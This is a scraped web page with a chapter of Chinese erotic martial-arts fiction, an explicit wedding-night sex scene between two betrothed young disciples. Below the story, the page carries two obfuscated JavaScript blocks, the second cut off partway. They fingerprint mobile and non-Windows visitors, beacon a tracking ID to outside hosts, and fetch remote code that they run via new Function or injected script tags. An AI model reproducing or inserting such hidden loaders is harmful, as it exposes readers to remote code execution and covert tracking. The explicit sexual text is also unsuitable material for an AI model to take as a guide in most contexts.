白雅低垂螓首,尖俏下颌几乎碰到心口,走也不是,不走也不是。
祁俊脑子有些发懵,这就算是和心中佳人定下亲事了。可此时此刻,此景情景,他又该和白雅说什么呢?
心中似有千言万语,可又好像被一块大石堵着。瞠目结舌,无言以对。
第3章:洞房花烛
「雅儿……」尝试着轻唤白雅的名字,祁俊终于开口了,尽管他还没想好和白雅说什么,但是无论如何他也该打破这僵硬的局面。
「嗯……」白雅只是哼鸣,平日伶牙俐齿无影无踪。
能把人折磨死的寂静又持续了许久。
白雅一个女儿家,竟然比祁俊还大方。忽然间,她扬起了头,美眸生彩,目光炯炯,逼视祁俊,看得祁俊好不自在。他干涩道:「雅儿,你怎么了。」深深吸一口气,带得与苗条身材不相匹配的一对胸前傲物起伏跌宕,凝视着祁俊双眼道:「祁大哥,雅儿此时心里好乱,有好多话想对你说,又不知从何说起。」祁俊挠挠头,也叹口气,道:「嗯,我也是,以前我们那么聊得来,怎么突然没话可说了,我真笨,也不知道怎么对你说……」白雅道:「知道雅儿体质,祁大哥你真的不嫌弃雅儿么?」祁俊立时摆正神色,信誓旦旦道:「雅儿你要是再怀疑我的心,我这就发誓给你看,我今日若是有半字虚言,叫我天打……」话不说完,已然被白雅打断,「不要!雅儿不要祁大哥发誓,雅儿只要祁大哥好好的……若是将来祁大哥嫌弃雅儿了,也定然是雅儿不对……」话至此,祁俊也立时表态,急急上前几步,拉住白雅柔若无骨一双素手,捧在胸前,表白道:「雅儿,永远不会!过些日子,我就带你回家,选个好日子,娶你过门。我们做一辈子的夫妻。」白雅动容,泪花又在眼中滚动,她自幼孤苦,受尽磨难,一心想着为家人复仇,从未想过能得人呵护,却有祁俊这痴情种子,一心爱她,可叫她芳心全许给了眼前少年。
两情相悦,祁俊猿臂舒展,水到渠成般紧紧将佳人拥入怀中。彼此静听心上人心跳,一时无声更胜有声。
祁俊终是个为曾经过人道的童男子,白雅火热娇躯在怀,口鼻中尽是处子幽香,胸口又被一对柔软娇物抵着,他还有个不心猿意马的?胯下腾然火起,笔直直戳在了佳人小腹上。这般非礼唐突丑相,可叫祁俊背若芒刺,心中叫苦道:」小兄弟啊小兄弟,你怎么这般不争气。雅儿若是察觉了,还不把我当个无耻淫徒来看……」他心里虽急,可是也控不住身下硬挺,急得冷汗都要落下了。
白雅修习春情媚术,对男女之事熟稔于胸,又有以身饲敌之心,心中早有准备。觉得异常时,便晓得那是何物件,并无分毫反感。只是她仍是黄花处女,即便身前是她托付一生的情郎,也不免羞涩畏怯。
轻轻推开祁俊,水汪汪一双灵动秀眸含羞带露望了情郎一眼,不便点破,只是轻声道:「俊哥,说不定师傅又要回来,让她瞧见又要笑我。我们不如出去走走。」忽的从「祁大哥」变成了「俊哥」,祁俊骨头也轻了三两了,张着大嘴差点乐出声来,忙不迭连连点头。
广寒宫本就是为了天极弟子游玩享乐场所,遍布亭台水榭,风景优美如画。
两人徜徉在其中,固然都是熟的不能再熟的地方,可心境不同,又是别有一番情调。
但祁俊却是有苦难言,他胯下宝贝一旦硬起,又哪有那么快安份的。走在庭院小径上,佝偻着腰,只怕被白雅发觉。
白雅看他狼狈模样,心中一直暗笑,实在不忍他出丑,才道:「俊哥,要不你先回去吧。」祁俊既有如蒙大赦的庆幸,又实在不忍哪怕片刻和白雅分离。正犹豫着,白雅又道:「这回子宫中人来人往的,叫人家看见也不好,晚些我们再见。」定下了约会,祁俊这才放心,慌张张哈着腰罗着锅跑了,躲回房中躺在榻上,瞪大眼睛想着今日种种,几乎不敢相信。这就能把他日思夜想的雅儿姑娘娶回家了不成?想着想着,因是多日劳顿,又一夜未眠,双眼阖起,沉沉睡去。
恍惚中,白雅飘然而来,两人你侬我侬,鸳鸯同眠,说不尽的旖旎风流。正是浓情蜜意甜美时刻,忽然听到屋外有人轻叩门环,祁俊赫然惊醒,原来不过一场春梦。
揉揉惺忪睡眼,一看窗外漆黑一片,已然是掌灯时分。随口问一声「谁呀?
「就听门外传来白雅黄莺般悦耳娇音:「俊哥,是我。」祁俊立时睡意全无,跳下床来趿上鞋子出门相迎。见白雅手中提着个食盒,便知是因贪睡误了饭点,白雅前来给他送餐了。
祁俊脸上堆起歉然笑意,道:「我睡过时辰了,还叫你费心。」白雅浅浅笑道:「谁要给你费心,是师傅非叫我送过来的。」递过食盒,转身要走,却被祁俊拉住了皓腕,「雅儿,我们一起吃吧。」白雅回眸道:「我都吃过了,你趁热快些吃吧。」祁俊当然不肯放白雅离去,依旧不撒手道:「那你陪我好不好。」「烦人……」口中说着不依,莲足却跨过了门槛。才进到屋里,半日不见就仿隔六秋的祁俊就将她拥入了怀中,口中喃喃道:「雅儿,我想要你永远陪在我身边。」听着情郎绵绵情话,白雅心中甜蜜,任他拥了一会儿,取过食盒,真如个小娇妻般将其中碗筷饭菜一一摆好,催促祁俊道:「先好好吃饭,莫要想旁的事情。」拉一张椅子坐在祁俊身旁,纤纤素手托起小香腮,饶有兴致看着祁俊狼吞虎咽胡乱用过了一餐,刚想收拾碗碟,却又被祁俊一把搂住了蛮腰。句句绵绵情话传入耳中,白雅心也酥了。
「嗯嘤」一声转身投入祁俊怀中,将螓首倚在爱郎宽广胸膛,幽幽道:「俊哥哥,雅儿的心也如你一般,永生永世不愿和你分开。」各诉衷肠,互吐心怀,情到浓时,两双嘴唇自然而然紧紧贴合。白雅对祁俊全无保留,任凭他吮住香舌嘬咂吸舔。白雅的吻技得自祝婉宁,两人因同修春情媚,春情勃发,早就享受过同性之乐。此时和爱郎亲吻,滋味又不同于美女师尊的细腻温柔。祁俊也是初吻,虽然笨拙生疏,却有男儿汉的粗狂霸道,被他吻着小嘴,白雅那过于敏感的娇躯已然变得火热。
祁俊身下那根坏东西又在作怪了,比白日里更加坚硬,更加有力的在她身上戳点。白雅忽然怕了起来,她可真怕一个把持不住,就要在情郎面前主动求欢。
她有心在仇敌面前做出种种淫媚浪态,可在情郎面前却胆怯了。
白雅怕得几乎想逃,可是蛮腰却被祁俊死死箍着,动不了半分。渐渐地,白雅妥协了,迷醉在和情郎的热吻之中。一颗芳心百转千回之后,下了决心,哪怕今夜他就要了我,也心甘情愿。于是她也有了些许主动,藕臂环住了祁俊壮实熊腰,更加热烈,更加奔放的回应祁俊的热吻。
一吻直到天昏地暗,两个有情人才堪堪舍得分离,白雅扬起美目深情凝望祁俊,却又被连在两人口唇边一丝晶晶水线臊得面红耳赤,垂下了头。
祁俊连吸几口气,心口狂跳不已。
昏昏烛火下,一切都仿佛罩上了一层轻雾,朦朦胧胧间,美得如梦似幻一般的佳人娇媚含羞。祁俊想起了方才的春梦,似乎也是这般,甜蜜相拥,激情热吻,最后抵死缠绵。
他几乎分不清此时是现实还是梦境,只是一心想和怀中即将成为他妻子的娇娃更加亲密。他用颤抖的语音轻轻地唤了一声「雅儿。」怀中美人沉默,许久才也是用一声带颤鼻音回应了他。
被祁俊唤着名字时,白雅忽然意识到,这一夜一定不会是寻常的一夜,也许她今晚也许不会回到自己的房间了。既羞且怕,又惊又惧,可是白雅心中却从不会有「不愿」二字,「他若非要,就由他来吧,反正早晚都是他的人。」郎有情,妾有意,再度深吻,两人都已是意乱情迷,也不知是谁先谁后,吻着吻着两人就离开了桌案,滚到了床上。
香囊解,罗带分。轻薄春衫下,嫩黄肚兜掩不住妙人儿一对高挺玉峰,祁俊喉咙干涩,连连咽下几口唾液,颤抖着向一对美乳伸出了手。
隔着薄薄的丝缎,祁俊小心翼翼地呵护着白雅娇嫩柔软、丰挺弹手的双峰。
他的眼睛注视着白雅酡红的娇颜,密切关注着白雅面部的一切变化,生怕一个不小心惹了佳人不快。
白雅的眼睛一直紧紧闭着,长长的睫毛不住闪动,俏挺的鼻尖泌细细汗珠,鼻翼一张一翕,红唇时开时合,气息早就乱了。只是嘴角却微微地上翘,似乎非常享受情郎细腻温柔的爱抚。
白雅的默许给了祁俊莫大的鼓励,胆子又大了几分。猿臂舒展,绕到了佳人修长玉颈后面,拿捏住两根细小带子,轻轻一分,绳结解开。柔软的布料滑落胸口,一对白皙浑圆的乳房立时暴露在空气之中。
「好美……」祁俊由衷赞叹,白雅身材颀长腰肢纤细,可是胸前一对傲物却不输于任何丰腴女子,就和祝婉宁相比,白雅的美峰也小不了许多,更有少女酥胸娇挺尚在,更显得挺拔秀美。
白雅肤色极白,彷如玉琢冰雕,傲然雪峰上两颗娇嫩蓓蕾亦是浅浅的淡粉,若和高挺美乳相比,又显得娇小纤弱。
手掌按了上去,轻轻揉搓,白雅玉体也颤动起来,绯红霞色从脸庞散开,映满了全身,朱唇间发出一丝细不可闻的低低呻吟。
祁俊爱极了白雅双乳,捧在掌上,仔细端详,握在手中,轻柔把玩。随着他的体贴爱抚,玉峰变得愈加胀大了,乳尖也勃然翘立。
头回玩赏女儿家胸乳的祁俊立时察觉这一变化,又奇又喜,更飞快地拨弄起美丽胀硬的乳尖。
「嗯……嗯……」白雅的身体敏感如斯,乳尖更是致命要害,被情郎这般挑逗抚弄,既苦不堪言,又乐在其中。白雅苦在仅仅胸乳遭袭,全身的欲火就全都熊熊燃起,酸痒体感钻进心里,犹如蚁噬。美得是乳尖酥麻,仿佛阵阵电流,涌过娇躯,带起阵阵漪涟,丝丝快意。
她不能自已的轻声呻吟,让祁俊血脉喷张,早已高高翘起的下身更是怒涨如铁。
「啊!」忽然间,白雅失声惊叫,她只觉得胸前一阵湿热,祁俊粗糙手指的温柔拨弄消失了,换做个细滑之物在胸前挑弄,「那是俊哥哥的……舌头……他去亲人家的小奶头了……他好坏,人家还以为他什么都不懂呢……」白雅心中碎碎念着。
比之粗糙手指的温柔,祁俊的唇舌可狂暴了许多,如品尝佳肴一般,大口在白雅白嫩乳肉、娇柔蓓蕾上嘬吸吮吻,不多时就留下片片红痕,乳蕾也被吸得愈加红润。
「啊……啊……」白雅再也克制不住,一声紧似一声地娇吟起来。
祁俊愈发不满足,忽然抬起了头,脸上带着痴迷的笑意,将白雅拥过,美美地在她唇上一啄,柔声道:「雅儿,都脱了好么?」「嗯……」饱含春情的娇媚啼声表明了白雅的心意。她已然失神,任由祁俊摆弄着,褪下了轻衫肚兜,完美无瑕地上半身尽情暴露在爱郎喷火目光下。
祁俊又一次吃缠着向白雅索吻。白雅欣然回应,更主动地将小香舌吐进了祁俊口中。握着美人玉乳,品着娇娃香舌,祁俊飘飘欲仙,可是他更加贪婪,白雅身上还有更多的秘密等着他他去探索。
只在白雅唇上停了片刻,祁俊口舌就一路沿着香腮、玉颈顺势舔吻下去,丰乳自然也是重点,伏在白雅怀中吃了片刻的奶,祁俊吻上了白雅平坦光滑的肚腹。
白雅深吸一口气,体内春潮似乎平静了几分,取而代之的是一种莫名的惆怅,她清楚晓得,祁俊是要去动她的裤带了。一旦下裳清除,女儿家藏了多年的处子元红必然交于他手,虽然无怨无悔,可是不免有些自怜。
祁俊双手已然勾住了她的裤带,白雅的芳心提到了喉头,「他要剥光人家了,他要看人家那里了……」正想着是不是要和他交代几句,祁俊已然早她一步开口,他的声音坚定诚恳:「雅儿,祁俊请你放心,我要了你的身子就必然一生一世对你负责,一生一世呵护你,保护你,再不叫你受伤。可……可你此时若不愿,我不勉强你的。但是……答应我好么……我真的好爱你……」白雅听了几乎垂泪,她出身高贵,可转瞬间家破人亡流离失所,孤苦无依飘零江湖,几何时有人如此疼爱于她。祝婉宁作为师尊虽然对她甚好,可是这般亲热话语也不曾讲过。祁俊一直对她照顾有加,又不忌她体质异常,仍愿与她结作连理,这番发自肺腑告白,更让她感动得无以复加,一颗心全给了未来夫君,又何在乎这一层细小薄膜。
娇躯剧震,倏然立起身来,拉着祁俊坐起。也不惊了,也不惧了,咬一咬下唇,羞赧道:「俊哥哥,雅儿已将你视作夫君,妻子侍奉夫君,天经地义,雅儿……雅儿又怎会觉得勉强……」互吐衷肠后,两颗心贴得更紧。白雅固然扭捏,却也硬强撑起,跪坐在床上,羞羞道:「俊哥哥,雅儿伺候你宽衣吧。」「这怎么可以?」祁俊把白雅视作女神,让女神伺候,可不折煞他了。尽管心中渴盼能得佳人相助宽衣,可仍旧把头摇起。
白雅轻声道:「这本该是妻子做得。」说完,素手扬起,真就为祁俊宽衣解带。
祁俊天生一副英俊面孔,在家中时是个娇娇少爷,倍受宠溺,到了广寒宫,说是为奴,祝婉宁也从不曾厉声责他一句,因此涉世不深的他脸上稚气仍在。可是,这祁俊自幼随父习得一身过硬功夫,饮食也比寻常人家强上千倍,身材异常魁梧,上衣除尽,八尺有余的健美身材显现出来,一身虬结肌肉彪悍无匹。
白雅只知道祁俊身材壮实,可也从未见过他赤裸上身,此时见了心中一惊,「原来他这般强悍。」习武之人哪个不盼着有个强健体魄的,白雅虽是女子,不愿身材过于彪悍,可是见了夫君体健,心中只有更喜。忽的又想到,他身体如此健美,只怕那处也……芳心再乱,脸儿红霞更艳。
祁俊见白雅发怔,不明就里,想着女儿家定然不肯为他去脱裤子,又心急想一睹娇妻幽谷风情,待要再抱白雅的时候,白雅羞红着脸,低声声道:「你站起来呀……」祁俊脑子有些发木了,有这般美女帮着脱裤子,任谁也不能淡然处之。
白雅眼中盯着近在咫尺高高耸起的裤裆,似乎有一丝淡淡的腥臊之气钻入了鼻中,熏得她意乱情迷,定一定神,才扶住爱郎熊腰,将柔若无骨的春葱玉指,搭在裤畔,深吸一口气,咬一咬牙,鼓足勇气,将祁俊外裤连着犊鼻短裤一举剥除。
「啪!」一声脆响过后,白雅连惊叫都没有,不顾处女羞涩,眼中只有祁俊胯下那条庞然大物。
那一声脆响,正是祁俊男根脱离束缚,弹了出来,甩在白雅脸上所发。出了这个意外,可把祁俊心疼坏了,怎能这样对心中女神呢。见白雅发愣,以为她不喜,连忙坐了下来,搂住白雅香肩,连声道歉。
他又怎知,白雅一是心惊,二则心喜。白雅虽然是处女之身,从未见过男子阳物,可是修习春情媚时,却用过不少木雕石刻的假物练习手口技巧。一见祁俊阳具,竟然只比用来练习的最大一号才小上些许,又粗又直,又长又硬,最可喜通体光滑红润,模样丝毫不见狰狞。
「这就是他那根鸡巴,好大啊……」白雅心中暗暗想道。祝婉宁教她媚术时口无遮拦,从来都是「大鸡巴」、「小骚屄」的不绝于口,以至于白雅也不觉得这些秽语太过不堪,只是在情郎面前,她不好意思把这些话说出来。
她亦知道,男子阳物愈加伟岸,女子所获快感愈加强烈。想起祝婉宁曾说只要能将她喂饱,她那春情媚体质,倒不见得能如何作祟。托付终身的爱郎既疼她,又然如此强悍,看来这凄苦命运终于是到了头,此生再也无忧。
脸上被甩那一下,一点不痛,唯一的感觉就是热辣辣的烫到心里,烧入骨髓。
白雅再也顾不上处女矜持,将身边犹自道歉的爱郎紧紧抱住,香唇没头没脸地印在他腮上唇上,口中娇娇吟道:「好夫君,好俊哥哥,来疼雅儿,来爱雅儿。」祁俊心酥体软热情回应,只不过,他那大手,已是迫不及待地伸入了白雅裤腰。
因是跪坐在床上,白雅两条玉腿八字敞开,祁俊还不能轻易得手?掠过小腹上柔软毛发,祁俊直探幽谷,触手一片濡湿,却察觉不到再有芳草痕迹,轻轻捏弄两片多肉蜜唇,立刻让白雅情难自已娇喘连连。
「啊……嗯……不要,好难过……雅儿受不了了……」白雅身体实在太过敏感,才被触及幽谷,全身就酸痒的无法承受,憋闷在娇体中已久的春情爆裂喷发,热情如火地晃动蛮腰,将雪乳擦着爱郎坚实胸膛不住颤抖,娇喘依依,呻吟连连:
「俊哥哥,你摸人家那里,好舒服,好美哦……」一只玉手在爱郎宽广背脊胡乱抚摸,另一只手将起又落,她其实是想去把爱郎的男根握在在手中,仔细爱抚,可又因羞涩却步。
强烈快意让纯情处女全身绷紧,想要收紧双腿,却因为姿势一时不能,只好让祁俊把个鲜嫩美穴里里外外摸了个痛快。那种无以复加的酸爽麻痒,如火如荼掠遍身上每一寸雪肤,娇躯愈加红润,锦缎般光滑的雪肤上也颤起一片片细小颗粒。
汩汩清泉从花径中涌出,沾湿了祁俊一双厚实糙手,他毫不因为佳人的敏感而感到不适,反而更加喜爱白雅的热情似火。拥着白雅倒在床上,深情凝视着白雅一双迷茫美目,祁俊再也忍耐不住了,「雅儿,我要你!」「嗯,雅儿也要俊哥哥……」玉臂勾着爱郎脖颈,香臀稍稍抬起,任由祁俊将裤袜扯下,一对儿小情人完全赤裸相呈了。白雅闭上了眼睛,她等着那神圣一刻的到来。
可是,半晌,祁俊并没有动静,微微开启一丝细缝。白雅又是一阵大羞大窘,可恨的俊哥哥,目不转睛地看着她两腿间最隐秘地羞处。
白雅羞得快要把脸捂上了,她宁愿祁俊直接插了进去,也羞于让人窥览私处风光。
「别看呀!」白雅娇嗔埋怨。
换来得却是祁俊惊诧赞叹,「好美啊!呼……雅儿,你身上每一处都那么完美。我这是几世修来的福气……」白雅除却一头浓密黑亮乌发,全身体毛都是极淡。尤其是幽谷周边,只是阴阜缀了一片稀淡芳草,愈往下面愈加罕见,娇嫩唇瓣上只有堪堪数根而已,既无克夫白虎之嫌,又显得花瓣白皙娇嫩。
美穴已经被祁俊抚弄得汁水淋漓,晶莹莹一片水光,无比香艳诱人。
祁俊唏嘘赞叹一阵,终于还是敌不过为破去童男之身为处女开苞的诱惑,弃了欣赏之心,伏在白雅娇躯上,挺起壮硕男根,在蜜逢间研磨搔动。
火烫龟首熨帖的白雅芳心悸动,哪怕破瓜之痛再苦,她也迫不及待要一试云雨春情了。八爪鱼一样缠住祁俊健壮身体,目色迷离,香息紊乱,一起一伏玉乳摇摇,口中哼吟道:「俊哥哥,来吧,要了雅儿。」祁俊也并非全然不懂男女欢好秘事,想当年在家中做个娇娇少爷时,没少到附近集镇偷览春宫书画,不然他又怎知吮乳撩阴这般手段,只不过书上可从没讲过女子洞孔藏在何处。真要插了进去,祁俊却不得其法了。
没头没脑乱冲乱撞,接连几次也寻不到门径,可让祁俊又急又窘,想求着白雅帮他一帮,可这话又如何说得出口。白雅情欲喷发,被祁俊坚硬男根顶得心急如焚,却不见进入,委屈哀怨道:「坏俊哥哥,你故意逗人家啊。」祁俊无奈只好苦着脸将实情道出,「雅儿,我……找不到……」本是春色无边激情时刻,被祁俊搅得添了几分谐趣。白雅也轻松几分,扑哧一声娇笑道:「笨哥哥,还要雅儿伺候你啊……」将手探到身下,迟疑片刻忍住羞意,还是握住了祁俊男根,牵引着贴近了处女从未经过开垦的洞孔。
正待帮着祁俊送入,又想起一事,怯生生道:「俊哥哥,你……一会儿……轻一些……」祁俊点点头,温柔道:「雅儿,你放心,我不会让你难过的……」说是这么说,但要到了那一刻,处子开苞又怎能不痛。但听了祁俊的话,白雅悬在半空的心还是放了一些。握着男根,小心翼翼迫开两片湿滑腻唇,小腹微送,将一个浑圆龟首纳了进去。
纵有蜜液相助,紧致窄小的花径遇上祁俊大货,仍旧被撑得一阵胀痛。白雅凝了眉,口吸凉气,忍住疼痛,轻声提点祁俊:「可……可以了……」祁俊真的痛惜白雅,见她痛苦,不敢胡来,柔声道:「雅儿,你可还好?若是痛的紧,我们就不要了。」白雅坚定摇头,「女儿家总要过这一关,俊哥哥放心来吧,雅儿不怕……」祁俊心知白雅所言非虚,既成夫妻,他迟早也是要把这苦楚送了白雅的。于是缓压腰身,将粗长阳物一点一点挤入白雅紧致花径。肉壁湿滑火热,借着丝丝甘露,祁俊才能缓步前行。挺送间,他已经感到那强大的夹合力量让他魂飞天外,极乐无边。
爱郎进入身体愈深,阵阵胀痛也愈强了。白雅却能从痛楚之余,也体味到一丝饱胀快意,那股充实,是和女子同欢又或自渎时不曾有过的。一点点填进她情欲高涨的敏感身体,也一点点布满乐她空虚渴盼的芳心。
这份充实也许不能叫痛楚稍减,可是白雅却盼着,爱郎立刻就将她穿透,让那可恼的破瓜之痛早一点过去,让那欢畅淋漓的欢爱之美这便到临。
终于,祁俊不再动了,白雅已然觉察,雄壮龟首遇到了她身体李彤最后一层阻隔。冲破那层嫩膜之后,她就完完全全是他的人了。
祁俊趴下了身子,环着白雅玉颈,在她额头轻轻一吻,无需再征得同意,熊腰猛然压下,粗长肉茎瞬间冲破障碍,将白雅洞穿……「啊!」白雅娇声呼痛,她可怎想到,破身这般疼痛,眼泪都快落了下来,虽然委屈埋怨祁俊莽撞,可又因终于和祁俊紧密结合,心中欢喜。
还不等那痛楚延遍身体,白雅就感觉祁俊粗长肉棒已经顶到了身体最深处,娇柔花心上,传来奇妙的酥酸麻胀,叫她飘飘欲仙。
「呵……啊……」娇媚酥甜一声呻吟,完全听不出苦楚味道。白雅将祁俊拥得更紧,在他耳边毫无顾忌的娇甜喘息。
「雅儿,你可还好?」祁俊已然后悔那一记猛攻,心疼地不住抚慰。
「好……好的……不痛……舒服……俊哥哥来,干雅儿,雅儿想要……」清纯处女头遭破身就食髓知味,春情媚邪功威力可见一般。
祁俊不敢大起大落,只是尝试着缓慢蠕动肉棒,顶在花心研磨旋转。误打误撞下,真把白雅折磨的欲生欲死。坚硬男根磨着滴血的肉壁,火辣辣的疼,壮硕龟首抵着柔软的花心,酥麻麻的痒。粗长男根充斥柔美花径,亦是胀痛,亦是充实。
妩媚呻吟时高时低,娇甜喘息时紧时慢,白雅已经分不清是痛苦还是快乐了。
她丝毫没有注意到,压在她美好胴体之上,身形伟岸的爱郎祁俊已经是咬牙切齿,一脸紧张。也没有听到,祁俊混重的呼吸变得越来越疾。
「啊!」祁俊只觉腰眼酸胀,阳物猛胀,一个不忍,股股阳精喷薄而出,尽数打在白雅柔嫩花心之上。原来这小处男,早就禁不住白雅香穴夹吸,有了射意,勉强忍着,可白雅一声声娇吟,又像一道道催命符一样,逼着他喷发怒射。
直到一股股强劲热流打在花心上,白雅才晓得祁俊已然喷发。虽然被弄得不上不下的,她却一点都不着恼,童男子初经人道有谁不快的。
被祁俊一动不动重重压着,白雅强忍心中欲火,娇声软语道:「俊哥哥,你出来了?」「嗯……」祁俊不无沮丧闷声答道。他翻览那些淫书时,也知道男人若是快了,可遭人耻笑。
「还不下来,你要压死人家啊。」白雅轻推祁俊,叫他从身上翻下。
祁俊无可奈何长叹一声,立时抽离了白雅身体,只因用力过猛,尚未软去的龟首肉楞刮过撕裂痛处,又叫白雅娇声呼痛。祁俊连忙将她抱住,痛惜赔罪。
待那疼痛稍减,白雅便也回拥住祁俊,柔声道:「俊哥哥,你不高兴了?」祁俊哭丧着脸道:「我看书上说,男人若是快了,可是有问题的。」这般幼稚言语逗得白雅忍俊不禁,更让祁俊窘迫,叹息道:「原来真会被人耻笑啊。」白雅笑意更浓,握起粉拳在祁俊胸口轻轻一捶,啐道:「你都看了什么书啊?」白他一眼,羞赧道:「你第一次嘛,都这样的。书上讲过……」话一出口白雅尴尬不已,她的回答可与祁俊的并无二般。
祁俊也听出其中问题,在一旁偷偷憨笑。白雅白他一眼,自己也抿着樱唇窃笑连连。
经过肌肤之亲,又有欢笑时刻将男女初次裸对的尴尬冲淡许多,无论白雅还是祁俊都渐渐放开。
甜蜜情话自然少不得讲,彼此间也多了调笑嬉戏。
白雅缩在祁俊怀中,玉指划着祁俊坚实胸肌抚弄。祁俊拥着白雅,大手握着美峰揉搓。
白雅幽幽道:「俊哥哥,你莫怪雅儿懂得太多,雅儿习过媚术,讲得都是夫妻之事,以后雅儿就只对你一个好,你想怎样雅儿都依你,你不会怪雅儿淫荡吧?」祁俊把头摇得像拨浪鼓一样,道:「我爱你还来不及,又怎么会怪你。」「你真好……」送上一个香吻后,白雅将螓首埋在祁俊胸口,静静地享受这甜蜜时光。
【完】

关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else 